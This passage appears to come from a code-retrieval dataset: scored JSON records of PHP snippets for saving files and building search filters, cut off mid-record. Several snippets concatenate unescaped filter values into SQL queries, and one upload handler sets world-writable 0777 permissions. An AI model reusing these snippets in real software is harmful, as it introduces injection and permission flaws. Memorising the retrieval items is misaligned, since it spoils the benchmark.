"0.54075634", "text": "public function saveFile($file) {\n\t\tif(!property_exists($this, 'fileUpload')) {throw new FileUploadException(\"You should provide a configuration to your model!\");}\n\n\t\t$filename = $this->id . '.' . $file->getClientOriginalExtension();\n\t\t$service = new FileUploadService($this->fileUpload, $this, $filename);\n\t\t$service->saveFile($file);\n\n\t\t$this->{$this->imageColumn} = $filename;\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "e90fe71f011144a18c0bcddbc734d0dc", "score": "0.5404221", "text": "public function save($file=null, $opacity=null, $interlacing=null){ }", "title": "" }, { "docid": "00df7ad8cdf2dd61c3dda21ce8c9cdde", "score": "0.5401928", "text": "public function PLSave($file)\n\t{\n\t\t$this->_addLog(__METHOD__,\"file: '\".$file.\"'\");\n\t\t$resp = $this->SendCommand(self::MPD_CMD_PLSAVE,$file);\n\t\t$this->_addLog(__METHOD__,\"response: '\".$resp.\"'\");\n\t\treturn $resp;\n\t}", "title": "" }, { "docid": "e55da0af61aa799e72fa9146a1c29403", "score": "0.5369041", "text": "private function save($fileName){\r\n \t\t\r\n \t$questionURIShortened = substr($this->_questionUri, strrpos($this->_questionUri, '/')+1);\r\n \t\r\n\t\t$rooloClient = new RooloClient();\r\n\t\t// Creating a UploadedSolution elo. \r\n\t\t$uploadedSolution = new UploadedSolution();\r\n\t\t$uploadedSolution->set_title($this->_author . \"-\" . $questionURIShortened . '-answer');\r\n\t\t$uploadedSolution->set_author($this->_author);\r\n\t\t$uploadedSolution->set_ownerUri($this->_questionUri);\r\n\r\n\t\t$filePath = '/Answers/'. $fileName;\r\n\t\t$uploadedSolution->set_path($filePath);\r\n\t\t$rooloClient->addElo($uploadedSolution);\r\n }", "title": "" }, { "docid": "f862ebcbabc1d93c518e841ce30f5655", "score": "0.53609794", "text": "public function save_to_filename ($filename)\n {\n $fp = @fopen($filename, \"wb\");\n if (! $fp) {\n throw new Rackspace_CloudFiles_IOException(\n \"Could not open file for writing: \" .\n $filename);\n }\n $result = $this->stream($fp);\n fclose($fp);\n return $result;\n }", "title": "" }, { "docid": "dccb72ef470b071dd766252655c95cef", "score": "0.5357782", "text": "private function saveToFile() {\n\t\tif(!isset($this->minified_data)) {\n\t\t\tthrow new MinifyException('There is no data to write to \"'.$this->target.'\"', 300);\n\t\t}\n\t\tif(($handler = @fopen($this->target, 'w')) === false) {\n\t\t\tthrow new MinifyException('Can\\'t open \"' . $this->target . '\" for writing.', 301);\n\t\t}\n\t\tif(!fwrite($handler, $this->minified_data)) {\n\t\t\tthrow new MinifyException('The file \"' . $path . '\" could not be written to. Check if PHP has enough permissions.', 303);\n\t\t}\n\t\tif($this->source_method == 'file') {\n\t\t\t$minify_mtime = filemtime($this->target);\n\t\t\tif($minify_mtime) {\n\t\t\t\t@touch($this->source, $minify_mtime - 1); // Make sure to touch the source file to avoid filemtime issues\n\t\t\t}\n\t\t}\n\t\tfclose($handler);\n\t}", "title": "" }, { "docid": "cda85e72ad87bad7b117f834826a909b", "score": "0.53368324", "text": "public function saveFileData($file, $data) {\n\t\t$dir = str_replace(\"system/\", \"\", DIR_SYSTEM);\n\t\t\n\t\tif ($file == 'htaccess') {\n\t\t\t$file_on = $dir . '.htaccess';\n\t\t\t$file_off = $dir . '.htaccess.txt'; \n\t\t}\n\t\t\n\t\tif ($file == 'robots') {\n\t\t\t$file_on = $dir . 'robots.txt';\n\t\t\t$file_off = $dir . '_robots.txt'; \n\t\t}\n\t\t\n\t\tif ($data['status']) {\n\t\t\tif (file_exists($file_off)) unlink($file_off);\n\t\t\t$fh = fopen($file_on, \"w\");\n\t\t\tfwrite($fh, html_entity_decode($data['text']));\n\t\t\tfclose($fh);\n\t\t} else {\n\t\t\tif (file_exists($file_on)) unlink($file_on);\n\t\t\t$fh = fopen($file_off, \"w\");\n\t\t\tfwrite($fh, html_entity_decode($data['text']));\n\t\t\tfclose($fh);\n\t\t}\n\t}", "title": "" }, { "docid": "56d72890dde1ce4d6f103fe695cb2aee", "score": "0.5332375", "text": "public function saveToFile($filePath)\n {\n $handle = @fopen($filePath, 'wb');\n if ($handle === false) {\n throw new FileException(sprintf(\n 'Cannot open file \"%s\" for writing.',\n $filePath\n ));\n }\n\n $bytesWritten = @fwrite($handle, (string)$this);\n if ($bytesWritten === false) {\n fclose($handle);\n throw new FileException(sprintf(\n 'Cannot write to file \"%s\".',\n $filePath\n ));\n }\n\n $closed = @fclose($handle);\n if ($closed === false) {\n throw new FileException(sprintf(\n 'Cannot close file handle for \"%s\".',\n $filePath\n ));\n }\n }", "title": "" }, { "docid": "fc2bae635eee6821bc92a04a17388290", "score": "0.53221416", "text": "public function storeDocument($file);", "title": "" }, { "docid": "8edc88881bca28a29552543460f5b4ba", "score": "0.5315258", "text": "function saveFile($postFileField) {\n\t$path = getenv(\"DOCUMENT_ROOT\").'/admin/reseller_locator/products/product_images/';\n\n\t$file_temp = $_FILES[$postFileField]['tmp_name'];\n\t$file_name = prep_filename($_FILES[$postFileField]['name']);\n\t$file_ext = get_extension($_FILES[$postFileField]['name']);\n\t$newf_name = set_filename($path, $file_name, $file_ext);\n\t$file_size = round($_FILES[$postFileField]['size']/1024, 2);\n\t$targetFile = str_replace('//','/',$path) . $newf_name;\n\n\t//save the file\n\tmove_uploaded_file($file_temp,$targetFile);\n\tif ($GLOBALS['debug']) {\n\t\techo 'file '.$file_name.' was saved.';\n\t}\n\t//save file permissions\n\tchmod($targetFile, 0777);\n\t//return $file_name; //to be saved in the db\n\treturn $newf_name; //to be saved in the db\n}", "title": "" } ]
62b98f5e2ef1c4293fc4170e6157ff16
Funcion filtros de Acuerdo
[ { "docid": "fae0e3d0fd1da46918622b55af258444", "score": "0.60994595", "text": "public function BuscarAcuerdos($filtros)\n {\n return $this->dbManagers['acuerdo']->BuscarAcuerdos($filtros);\n }", "title": "" } ]
[ { "docid": "78b7860b9b86d0b176cc3ef472b24f27", "score": "0.79879636", "text": "public function filtroInicial() {\n \n }", "title": "" }, { "docid": "bdc3725610ca2366bf99a6c050cda9e1", "score": "0.75211823", "text": "public function filtered(){\n $campo=empty($_POST['campo'])? 'titulo' : DB::escape($_POST['campo']);\n $valor=empty($_POST['valor'])? '' : DB::escape($_POST['valor']);\n $orden=empty($_POST['orden'])? 'id' : DB::escape($_POST['orden']);\n $sentido=empty($_POST['sentido'])? 'ASC' : DB::escape($_POST['sentido']);\n \n // recuperar la lista de libros\n $libros=Libro::getFiltered($campo, $valor, $orden, $sentido);\n \n // recupera el usuario para pasárselo a la vista\n $usuario=Login::getUsuario();\n \n // carga la vista para mostrar la lista\n include 'views/anuncio/list.php';\n }", "title": "" }, { "docid": "edd99bceccdc219a6fabf2b38faa340e", "score": "0.7260501", "text": "public function filtro(){\n $mesa = new mesas();\n\n $EnLista = new EnLista();\n $Distrito = new Distrito();\n $departamentos = new departamentos();\n $cargos = new cargos();\n $candidatos = new candidatos();\n $ciudades = new EntidadBase(\"ciudad\");\n $partidos = new EntidadBase(\" (select * from partidos where activo=0) as a \");\n if (isset($_POST[\"ciudades\"])){\n\t\t\t$idCiudad = (isset($_POST[\"ciudades\"])?$_POST[\"ciudades\"]: -1 ) ;\n\t\t\tif ($idCiudad >= 0 ){\n\t\t\t\t$esto = $ciudades->getById($idCiudad);\n\t\t\t\t// var_dump($esto);\n\t\t\t\t$Pagtitulo = $esto->nombre ;\n\t\t\t}else{\n\t\t\t\t$Pagtitulo = \"TODA LA PROVINCIA\";\n\t\t\t}\n }else{\n\t\t $idCiudad = -1;\n\t\t $Pagtitulo = \"TODA LA PROVINCIA\";\n\t\t}\n //Conseguimos todos los usuarios\n // $allusers=$usuario->getAll();\n \n //Cargamos la vista index y le pasamos valores\n $this->view(\"index\",array(\n \"mesa\"=>$mesa,\n \"EnLista\"=>$EnLista,\n \"partidos\"=>$partidos,\n \"Distrito\"=>$Distrito,\n \"cargos\"=>$cargos,\n \"candidatos\"=>$candidatos,\n \"ciudades\"=>$ciudades,\n \"idCiudad\"=>$idCiudad,\n \"Pagtitulo\"=>$Pagtitulo,\n ));\n\t\t\n\t}", "title": "" }, { "docid": "ce9a84f9b78490b0e6a9f70803760b38", "score": "0.7013929", "text": "public function filter(){\r\n\t}", "title": "" }, { "docid": "5f859378096f7056fcfe67e5df98879d", "score": "0.7002147", "text": "public function filter();", "title": "" }, { "docid": "01ef1bdabf980935130c0a2323c73770", "score": "0.6932714", "text": "function iniciarFiltro(&$filtro) \n {\n \n if (isset($_GET['order']))\n $filtro->order($_GET['order']);\n\n $filtro->nombres[] = 'Estado';\n $filtro->valores[] = array ('select','estado' ,$filtro->filtro('estado'),\n array('' ,'AC' ,'NC' ,'IN' ,'DE' ),\n array('Todos' ,'Confirmados','No Confirmado','Desctivado' ,'Eliminado' ));\n $filtro->nombres[] = 'Nombre';\n $filtro->valores[] = array ('input' ,'nombre',$filtro->filtro('nombre'));\n $filtro->nombres[] = 'Apellidos';\n $filtro->valores[] = array ('input' ,'apellidos',$filtro->filtro('apellidos'));\n $filtro->nombres[] = 'Login';\n $filtro->valores[] = array ('input' ,'login',$filtro->filtro('login'));\n $filtro->nombres[] = 'Email';\n $filtro->valores[] = array ('input' ,'email',$filtro->filtro('email'));\n }", "title": "" }, { "docid": "1052c268e041d9300f1684255d049f32", "score": "0.68803144", "text": "function iniciarFiltro(&$filtro) {\n\n if (isset($_GET['order']))\n $filtro->order($_GET['order']);\n $filtro->nombres[] = 'Nombre';\n $filtro->valores[] = array('input', 'nombre', $filtro->filtro('nombre'));\n $filtro->nombres[] = 'Descripci&oacute;n';\n $filtro->valores[] = array('input', 'descripcion', $filtro->filtro('descripcion'));\n }", "title": "" }, { "docid": "5f8ad5ba41b7fe52006f0b7a39b30ac9", "score": "0.68654495", "text": "protected function checkFilters() {\r\n\r\n\t\t$this->log.= '- <b>Inicializando filtros para listado</b> <br/>';\r\n\r\n\t\t$sql = array();\r\n\r\n\t\tif ($this->itemAutor != '') {\r\n\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>Filtro por autor</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemAutor.'<br/>';\r\n\r\n\t\t\t// Limpio texto de Injection\r\n\t\t\t$texto = cleanInjection($this->itemAutor);\r\n\r\n\t\t\t$this->log.= '- Autor buscar:'.$texto.'<br/>';\r\n\r\n\t\t\t$sql[] = \"noticia_autor = '{$texto}'\";\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->itemEstado !== false) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemEstado, 'estado', 'noticia_estado')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemFuente != '') {\r\n\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>Filtro por fuente</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemFuente.'<br/>';\r\n\r\n\t\t\t// Limpio texto de Injection\r\n\t\t\t$texto = cleanInjection($this->itemFuente);\r\n\r\n\t\t\t$this->log.= '- Fuente a buscar:'.$texto.'<br/>';\r\n\r\n\t\t\t$sql[] = \"noticia_fuente = '{$texto}'\";\r\n\t\t}\r\n\r\n\t\tif ($this->itemId) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemId, 'Id', 'noticia_id')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemObject != '') {\r\n\t\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>búsqueda por objetos asociados</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemObject.'<br/>';\r\n\t\t\t\r\n\t\t\t$oObjs = explode(',', $this->itemObject);\r\n\t\t\t$oObjSearch = array();\r\n\t\t\tforeach($oObjs as $oId=> $o) {\r\n\t\t\t\t$o = trim($o);\r\n\t\t\t\t$oObjSearch[] = \"adjunto_tipo = '{$o}'\";\r\n\t\t\t}\r\n\t\t\t$oSql = implode(' OR ', $oObjSearch);\r\n\t\t\t\r\n\t\t\tif ($oSql != '') {\r\n\r\n\t\t\t\t$oObj='';\r\n\t\t\t\r\n\t\t\t\t$oSql = \"SELECT DISTINCT(adjunto_noticia_id)\r\n\t\t\t\t\tFROM {$this->_table}noticias_multimedia\r\n\t\t\t\t\tWHERE adjunto_noticia_tipo = '{$this->_tipo}' AND {$oSql}\";\r\n\t\t\t\tif ($res = $this->db->query($oSql)){\r\n\t\t\t\t\tif ($this->db->num_rows($res)) {\r\n\t\t\t\t\t\tfor ($i=0; $i<$this->db->num_rows($res);$i++) {\r\n\t\t\t\t\t\t\t$rs = $this->db->next($res);\r\n\t\t\t\t\t\t\t$oObj.= ','.$rs[\"adjunto_noticia_id\"];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$oObj = substr($oObj,1);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ($oObj == '') {\r\n\t\t\t\t\t$this->log.= '- No existen artículos con los objetos solicitados.<br/>';\r\n\t\t\t\t\t$this->log.= '- Se asigna la búsqueda de noticia_id = 0 <br/>';\r\n\t\t\t\t\t\r\n\t\t\t\t\t$sql[] = \"noticia_id = '0'\";\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$sql[] = \"noticia_id IN({$oObj})\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemSeccion) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemSeccion, 'seccion', 'noticia_seccion_id')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemSQLExtra != '') {\r\n\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>Parámetros externos de SQL</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemSQLExtra.'<br/>';\r\n\r\n\t\t\t$sql[] = $this->itemSQLExtra;\r\n\t\t}\r\n\r\n\t\tif ($this->itemTags != '') {\r\n\t\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>búsqueda por etiqueta</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemTags.'<br/>';\r\n\r\n\t\t\t// Limpio texto de Injection\r\n\t\t\t$texto = cleanInjection($this->itemTags);\r\n\t\t\t\r\n\t\t\t$this->log.= '- Valor limpio y filtrado a buscar:'.$texto.'<br/>';\r\n\t\t\t\r\n\t\t\tif ($texto != '') {\r\n\t\t\t\t$oTags = '';\r\n\t\t\t\r\n\t\t\t\t$oSql = \"SELECT adjunto_noticia_id \r\n\t\t\t\t\tFROM {$this->_table}noticias_tags, {$this->_table}noticias_galeria_tags \r\n\t\t\t\t\tWHERE adjunto_tag_id = tag_id \r\n\t\t\t\t\t\tAND tag_tipo = {$this->_tipo} \r\n\t\t\t\t\t\tAND tag_nombre = '{$texto}'\";\r\n\r\n\t\t\t\tif ($res = $this->db->query($oSql)){\r\n\t\t\t\t\tif ($this->db->num_rows($res)) {\r\n\t\t\t\t\t\tfor ($i=0; $i<$this->db->num_rows($res);$i++) {\r\n\t\t\t\t\t\t\t$rs = $this->db->next($res);\r\n\t\t\t\t\t\t\t$oTags.= ','.$rs['adjunto_noticia_id'];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$oTags = substr($oTags,1);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ($oTags == '') {\r\n\t\t\t\t\t$this->log.= '- No existen artículos con la etiqueta.<br/>';\r\n\t\t\t\t\t$this->log.= '- Se asigna la búsqueda de noticia_id = 0 <br/>';\r\n\t\t\t\t\t\r\n\t\t\t\t\t$sql[] = \"noticia_id = '0'\";\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$sql[] = \"noticia_id IN({$oTags})\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemTexto != '') {\r\n\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>búsqueda por texto</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemTexto.'<br/>';\r\n\r\n\t\t\t// Limpio texto de Injection\r\n\t\t\t$texto = cleanInjection($this->itemTexto);\r\n\t\t\t\r\n\t\t\t$this->log.= '- Texto limpio y filtrado a buscar:'.$texto.'<br/>';\r\n\t\t\t\r\n\t\t\tif ($texto != '') {\r\n\t\t\t\r\n\t\t\t\t$textoTipo = strtolower(trim($this->itemTextoTipo));\r\n\r\n\t\t\t\tswitch($textoTipo) {\r\n\t\t\t\t\tcase 'and':\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t$texto = '+'.$texto;\r\n\t\t\t\t\t\t$texto = str_replace(' ', ' +',$texto);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'or':\r\n\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\tcase 'all':\r\n\t\t\t\t\t\t$texto = \"\\\"{$texto}\\\"\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$this->log.= '- Texto a envíar para la búsqueda:'.$texto.'<br/>';\r\n\r\n\t\t\t\t$sql[] = \"MATCH (noticia_volanta, noticia_titulo, noticia_bajada,\r\n\t\t\t\t\tnoticia_texto, noticia_texto_complementario) \r\n\t\t\t\tAGAINST ('{$texto}' IN BOOLEAN MODE)\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemTipo) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemTipo, 'tipo', 'noticia_tipo')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($this->itemTitulo != '') {\r\n\t\t\r\n\t\t\t$this->log.= '- Filtro asignado: <b>Filtro por url friendly del titulo</b>.';\r\n\t\t\t$this->log.= ' Valor ingresado:'.$this->itemTitulo.'<br/>';\r\n\r\n\t\t\t// Limpio texto de Injection\r\n\t\t\t$texto = cleanInjection($this->itemTitulo);\r\n\r\n\t\t\t$this->log.= '- Titulo Url Friendly a buscar:'.$texto.'<br/>';\r\n\r\n\t\t\t$sql[] = \"noticia_page_url = '{$texto}'\";\r\n\t\t}\r\n\r\n\t\tif ($this->itemUbicacion) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemUbicacion, 'ubicación', 'noticia_ubicacion_id')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\t\t\r\n\r\n\t\tif ($this->itemUserId) {\r\n\t\t\tif ($oSql = $this->filterNumeric($this->itemUserId, 'user Id', 'noticia_user_id')) {\r\n\t\t\t\t$sql[] = $oSql;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$this->log.= '- Asignación de filtros OK <br/>';\r\n\r\n\t\treturn $sql;\t\t\r\n\t}", "title": "" }, { "docid": "c99736e5b9c759e4252d7cbbe6f26b3e", "score": "0.6747293", "text": "public function filtro()\n {\n if ($_POST[\"tipo\"] == \"usuario\") {\n $texto = $_POST[\"texto\"];\n $tipo_filtro = $_POST[\"tipo_filtro\"];\n if (empty($texto)) {\n $this->view->redirect(\"usuario\", \"administracion\");\n }\n $_SESSION[\"__sesion__herramienta__\"][\"__filtro_texto__\"] = $texto;\n $_SESSION[\"__sesion__herramienta__\"][\"__filtro_tipo__\"] = $tipo_filtro;\n }\n if (isset($_GET[\"pag\"])) {\n $this->view->redirect(\"usuario\", \"administracion\", \"filtro&pag=\" . $_GET['pag']);\n } else {\n $this->view->redirect(\"usuario\", \"administracion\", \"filtro\");\n }\n }", "title": "" }, { "docid": "16d26e6007523f5e28824048f2b7b313", "score": "0.6658617", "text": "protected function filter()\n {\n //\n }", "title": "" }, { "docid": "3ae56cc357d98939e0d0ef3f5c45dc8f", "score": "0.66085714", "text": "function filter_by_societate($frmFiltre)\n{\n $societati_ids = array();\n $gestiuni_ids = array();\n \n //daca s-a selectat ceva\n if ($frmFiltre['societate_id'])\n {\n $societati_ids = $frmFiltre['societate_id'];\n \n //------- obtinem gestiunile cu drepturi, care au asociate societatile selectate --------\n \n $gestiuni = new Gestiuni();\n \n //obtinem gestiunile cu drepturi\n $gestiuni->getGestiuniCuDrepturi();\n \n //construim arrrayul cu iduri de gestiuni cu drepturi\n foreach ($gestiuni as $g)\n if (in_array($g->gestiune_id, $gestiuni_ids) == FALSE && in_array($g->societate_id, $societati_ids) == TRUE)\n $gestiuni_ids[] = $g->gestiune_id;\n }\n \n /* dupa ce am construit sql query pt societati si gestiuni, aducem datele pentru\n * puncte de lucru, gestiuni si posuri\n */\n $objResponse = new xajaxResponse();\n copyResponse($objResponse, load_puncte_lucru($societati_ids));\n copyResponse($objResponse, load_gestiuni($gestiuni_ids));\n copyResponse($objResponse, load_posuri($gestiuni_ids));\n return $objResponse;\n}", "title": "" }, { "docid": "b782dc74a47507092283671a35139075", "score": "0.6588651", "text": "function filtroEstudiante($params){\n $this->db->join('persona p', 'e.idPersona=p.idPersona','left');\n $this->db->join('semestreAcademico sa', 'e.idSemestreAcademico = sa.idSemestreAcademico','left');\n $this->db->join('escuelaProfesional ep','e.idEscuelaProfesional=ep.idEscuelaProfesional','left');\n return $this->db->get_where('estudiante e',$params)->result_array();\n }", "title": "" }, { "docid": "8da25eaeb4bdac0e6fa5635e200a507c", "score": "0.6550281", "text": "public function onClick_Filter()\n {\n $nameFilter = \"nev LIKE '%:item%' OR \n leiras LIKE '%:item%' OR\n tartalom LIKE '%:item%' OR\n meta_kulcsszo LIKE '%:item%'\";\n \n $this->setWhereInput($nameFilter, 'FilterSzuro');\n \n \n \n // Státusz filter\n $filterStatus = $this->getItemValue('FilterStatus');\n switch ($filterStatus) {\n case 1:\n $this->setWhereInput('ceg_aktiv=1', 'FilterStatus');\n break;\n case 2:\n $this->setWhereInput('ceg_aktiv=0', 'FilterStatus');\n break;\n default:\n unset($_SESSION[$this->_name]['FilterStatus']);\n break;\n }\n }", "title": "" }, { "docid": "67dc42a62b3a4c702136179b9f0a417f", "score": "0.65287155", "text": "public function select_filtro_tabla($busqueda){\r\n $modelo = new Conexion();\r\n $conexion = $modelo->get_Conexion();\r\n $statement = $conexion->prepare(\r\n \"SELECT * FROM user \r\n INNER JOIN persona ON user.id = persona.id_user \r\n WHERE user.rol <> 'admin' \r\n AND nombres LIKE :busqueda \r\n or apellidos LIKE :busqueda \r\n or n_identificacion LIKE :busqueda \r\n or usuario LIKE :busqueda \r\n or email LIKE :busqueda \r\n or rol LIKE :busqueda\"\r\n );\r\n /*$statement=$conexion->prepare(\r\n \"SELECT * FROM user INNER JOIN persona ON user.id = persona.id_user WHERE usuario LIKE :busqueda or email LIKE :busqueda or rol LIKE :busqueda AND rol <> 'admin'\"\r\n );*/\r\n $statement->execute(array(':busqueda'=> \"%$busqueda%\"));\r\n $resultado = $statement->fetchAll();\r\n return $resultado;\r\n }", "title": "" }, { "docid": "1e868530a297f81a345b2140c25e4403", "score": "0.65176827", "text": "public function get_pacientehistorias(Request $request)\n {\n $data_user=Session::get('user_data');\n $id_emp=$data_user[0]->persona->personaempresa[0]->id_emp;\n\n $filter = json_decode($request->get('filter'));\n $sql=\"\";\n if($filter->buscar!=\"\"){\n\n $sql=\" AND agenda.id_cli IN(SELECT cl.id_cli FROM cliente cl \";\n $sql.=\" WHERE cl.id_pe IN(SELECT per.id_pe FROM persona per WHERE per.ci LIKE '%\".$filter->buscar.\"%' OR CONCAT(apellido,' ',nombre) LIKE '%\".$filter->buscar.\"%' ) \";\n $sql.=\" OR cl.numerohistoria LIKE '%\".$filter->buscar.\"%') \";\n }\n //->whereRaw(\" agenda.fecha BETWEEN '\".$filter->fechai.\"' AND '\".$filter->fechaf.\"' AND agenda.estado='1' \".$sql)\n $data=Agenda::with(\"cliente.persona\")\n \t\t\t->whereRaw(\" agenda.estado='1' AND agenda.id_em='\".$id_emp.\"' \".$sql)\n ->orderBy(\"agenda.fecha\",\"ASC\")\n ->groupBy(\"agenda.id_cli\");\n return $data->paginate(5);\n }", "title": "" }, { "docid": "80ef14d501d1b694b4ba1f0c9964b39b", "score": "0.65118164", "text": "function dar_todos_por_filtros($params) {\n $items = array();\n foreach ($params as $key => $value)\n $this->db->where($key, $value);\n $query = $this->db->get('op_proveedor_cotizacion');\n foreach ($query->result() as $row) {\n $item = new proveedor_cotizacion_model();\n foreach ($row as $key => $value) {\n $item->$key = $value;\n }\n $items[] = $item;\n }\n return $items;\n }", "title": "" }, { "docid": "7a668ed34c5faa781674c04a99495d40", "score": "0.6503881", "text": "function filterConsultasMes($con, $ano)\n{\n\n $filter = [\n 'FECHABUSQUEDA' => new MongoDB\\BSON\\Regex($ano, 'i'),\n ];\n $query = new MongoDB\\Driver\\Query($filter);\n $result = $con->executeQuery($GLOBALS['dbname'] . \".log_busqueda_usuarios\", $query);\n $respuesta = $result->toArray();\n\n return $respuesta;\n\n}", "title": "" }, { "docid": "e7a1bfcc9b3895ca19fc65634a960ebb", "score": "0.6482409", "text": "public function buscar() \n {\n \n if($buscar = \\Request::get('q')){\n $unidades= Unidades:: where(function($query) use ($buscar){\n $query->where('marca','LIKE', \"%$buscar%\")->orWhere('modelo','LIKE',\"%$buscar%\")\n ->orWhere('placa','LIKE',\"%$buscar%\")->orWhere('numero_cupo','LIKE',\"%$buscar%\")\n ->orWhere('id_linea','LIKE',\"%$buscar%\");\n\n })->paginate(20);\n }\n\n return $unidades; //retorna toda la consulta\n }", "title": "" }, { "docid": "3f661a90b133363bd88e6137506dc235", "score": "0.64656353", "text": "private function filtrar() {\r\n \r\n $filtroPesquisa = new stdClass();\r\n $filtroPesquisa->tipoContrato = '';\r\n $filtroPesquisa->tipoProposta = '';\r\n $filtroPesquisa->subtipoProposta = '';\r\n $filtroPesquisa->tipoPessoa = '';\r\n $filtroPesquisa->vaiGestor = '';\r\n $filtroPesquisa->limite = '';\r\n \r\n if (isset($_SESSION['cad_parametrizacao_consulta_gestor_credito'])) {\r\n $filtroPesquisa = $_SESSION['cad_parametrizacao_consulta_gestor_credito'];\r\n }\r\n \r\n if (count($_POST)) {\r\n $filtroPesquisa->tipoContrato = isset($_POST['tipoContrato']) ? $_POST['tipoContrato'] : $filtroPesquisa->tipoContrato;\r\n $filtroPesquisa->tipoProposta = isset($_POST['tipoProposta']) ? $_POST['tipoProposta'] : $filtroPesquisa->tipoProposta;\r\n $filtroPesquisa->subtipoProposta = isset($_POST['subtipoProposta']) ? $_POST['subtipoProposta'] : $filtroPesquisa->subtipoProposta;\r\n $filtroPesquisa->tipoPessoa = isset($_POST['tipoPessoa']) ? $_POST['tipoPessoa'] : $filtroPesquisa->tipoPessoa;\r\n $filtroPesquisa->vaiGestor = isset($_POST['vaiGestor']) ? $_POST['vaiGestor'] : $filtroPesquisa->vaiGestor;\r\n }\r\n \r\n $_SESSION['cad_parametrizacao_consulta_gestor_credito'] = $filtroPesquisa;\r\n \r\n return $filtroPesquisa;\r\n }", "title": "" }, { "docid": "ece0576869835356b3f3061562f85755", "score": "0.64543396", "text": "function filter_by_puncte_lucru($frmFiltre)\n{\n $puncte_lucru_ids = array();\n $gestiuni_ids = array();\n \n if ($frmFiltre['punct_lucru_id'])\n {\n $puncte_lucru_ids = $frmFiltre['punct_lucru_id'];\n \n //------- obtinem gestiunile cu drepturi, care au asociate societatile selectate --------\n \n $gestiuni = new Gestiuni();\n \n //obtinem gestiunile cu drepturi\n $gestiuni->getGestiuniCuDrepturi();\n \n //construim arrrayul cu iduri de gestiuni cu drepturi\n foreach ($gestiuni as $g)\n if (in_array($g->gestiune_id, $gestiuni_ids) == FALSE && in_array($g->punct_lucru_id, $puncte_lucru_ids) == TRUE)\n $gestiuni_ids[] = $g->gestiune_id;\n }\n \n $objResponse = new xajaxResponse();\n copyResponse($objResponse, load_gestiuni($gestiuni_ids));\n copyResponse($objResponse, load_posuri($gestiuni_ids));\n return $objResponse;\n \n}", "title": "" }, { "docid": "915ce3d4cc1e1c224280b9346b26f265", "score": "0.64462686", "text": "Function getFiltered($filter) {\n $filter_options = ['plaats', 'denominatie', 'stijl', 'type', 'monument', 'periode', 'gemeente', 'provincie'];\n $sql = 'SELECT * FROM '.DB_VIEW.' WHERE';\n foreach ($filter_options as $field) {\n if (isset($filter[$field])) {\n $s = implode('\\',\\'', $filter[$field]);\n $sql .= ' ' . $field . ' IN (\\'' . $s . '\\') AND';\n }\n }\n if (isset($filter['huidige_bestemming'])) {\n if ($filter['huidige_bestemming'] == ['kerk']) {\n $sql .= ' huidige_bestemming=\\'kerk\\' AND';\n } else {\n $sql .= ' huidige_bestemming<>\\'kerk\\' AND';\n }\n }\n\n $ids = array();\n if (isset($filter['architect'])) {\n $this->dbh->exec(\"SET CHARACTER SET utf8\");\n $a = str_replace('&amp;', '&', implode('\\',\\'', $filter['architect']));\n $sqla = 'SELECT \"ID\" from \"013_Architect\" WHERE \"Architect\" IN (\\'' . $a . '\\')';\n $sth = $this->dbh->prepare($sqla);\n $sth->execute();\n $id_s = $sth->fetchAll(PDO::FETCH_COLUMN, 0);\n $sql .= ' id IN (' . implode(',', $id_s) . ') AND';\n }\n\n if (isset($filter['naam'])) {\n $this->dbh->exec(\"SET CHARACTER SET utf8\");\n $a = implode('\\',\\'', $filter['naam']);\n $sqla = 'SELECT \"ID\" from \"011_Naam_Kerk\" WHERE \"Naam_Kerk\" IN (\\'' . $a . '\\')';\n $sth = $this->dbh->prepare($sqla);\n $sth->execute();\n $id_s = $sth->fetchAll(PDO::FETCH_COLUMN, 0);\n $sql .= ' id IN (' . implode(',', $id_s) . ') AND';\n }\n\n $sql = substr($sql, 0, 